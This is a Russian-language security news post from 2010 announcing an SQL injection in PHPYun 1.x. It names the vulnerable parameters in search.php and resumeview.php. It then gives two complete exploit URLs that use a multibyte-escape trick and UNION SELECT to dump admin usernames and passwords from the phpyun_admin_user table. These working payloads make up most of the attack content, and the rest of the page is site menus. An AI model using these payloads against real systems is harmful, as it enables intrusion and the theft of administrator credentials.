SQL-инъекция в PHPYun - 13 Октября 2010

Меню

Категории

BugTrack [80]

Bug's and exploits

Malware [27]

Worms, viruses, trojans and other...

ITNews [4]

All IT news from all the world

Взлом [13]

Hacked site's

OpenSource [0]

OpenSource news

Патчи и Обновления разного рода софта

ALERT [2]

Суд над хакерами

Google [2]

Новости от Google

Hack Attack's [2]

Новости о новых и не очень видов атак

Статистика от ведущих компаний по безопасность

ПО [0]

Мелкософт, яблочные, пингвины и мобильное ПО

Soft [0]

All kind of software

SEONews [0]

SEONews

Новости нашего портала

Статистика

Онлайн всего: 1

Гостей: 1

Пользователей: 0

Вход

Главная » » SQL-инъекция в PHPYun

10:05 SQL-инъекция в PHPYun
Программа: PHPYun 1.x Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре "provinceid" сценарием search.php (когда "cityid" установлен) и в параметре "e" parameter to resumeview.php (when "uid" is set). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Эксплоит: www.abc.com/search.php?keyword=&provinceid=%df\&cityid=%20union%20select%201,2, concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20 from%20phpyun_admin_user--%20-&mySearchCityName= &mySearchCity=&search=%CB%D1%CB%F7 www.abc.com/resumeview.php?uid= union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(0x40,0x23,username,0x7e,password,0x23,0x40),17 from phpyun_admin_user-- sd&e=%df\
1 2 3 4 5 Категория: BugTrack \| Просмотров: 611 \| Добавил: sepos \| Рейтинг: 5.0/1